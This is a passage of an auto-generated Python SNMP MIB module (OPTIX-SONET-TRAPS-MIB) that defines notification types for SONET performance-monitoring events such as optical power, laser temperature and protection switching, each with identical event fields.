pmLbcMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33010)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLbcMin.setStatus('current') pmOptCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33011)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmOptCur.setStatus('current') pmOptMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33012)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmOptMax.setStatus('current') pmOptMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33013)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmOptMin.setStatus('current') pmOprCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33014)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmOprCur.setStatus('current') pmOprMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33015)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmOprMax.setStatus('current') pmOprMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33016)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmOprMin.setStatus('current') pmCVPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33056)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmCVPPath.setStatus('current') pmCVCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33057)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmCVCPPath.setStatus('current') pmESPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33058)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmESPPath.setStatus('current') pmESCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33059)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmESCPPath.setStatus('current') pmSESPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33060)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmSESPPath.setStatus('current') pmSESCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33061)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmSESCPPath.setStatus('current') pmUASPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33064)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmUASPPath.setStatus('current') pmUASCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33065)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmUASCPPath.setStatus('current') pmPscProtection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33088)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPscProtection.setStatus('current') pmPsdProtection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33089)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPsdProtection.setStatus('current') pmPscSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33090)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPscSpan.setStatus('current') pmPsdSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33091)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPsdSpan.setStatus('current') pmPscRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33092)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPscRing.setStatus('current') pmPsdRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33093)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPsdRing.setStatus('current') pmPscWork = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33094)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPscWork.setStatus('current') pmPsdWork = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 33095)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmPsdWork.setStatus('current') pmLCCCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36864)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLCCCur.setStatus('current') pmLCCMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36865)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLCCMax.setStatus('current') pmLCCMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36866)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLCCMin.setStatus('current') pmLTEMPCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36867)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLTEMPCur.setStatus('current') pmLTEMPMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36868)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLTEMPMax.setStatus('current') pmLTEMPMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36869)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLTEMPMin.setStatus('current') pmLAPDBVCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36870)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLAPDBVCur.setStatus('current') pmLAPDBVMax = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36871)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLAPDBVMax.setStatus('current') pmLAPDBVMin = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36872)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime")) if mibBuilder.loadTexts: pmLAPDBVMin.setStatus('current') pmPLBCCur = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 40, 36873)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVldty"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", 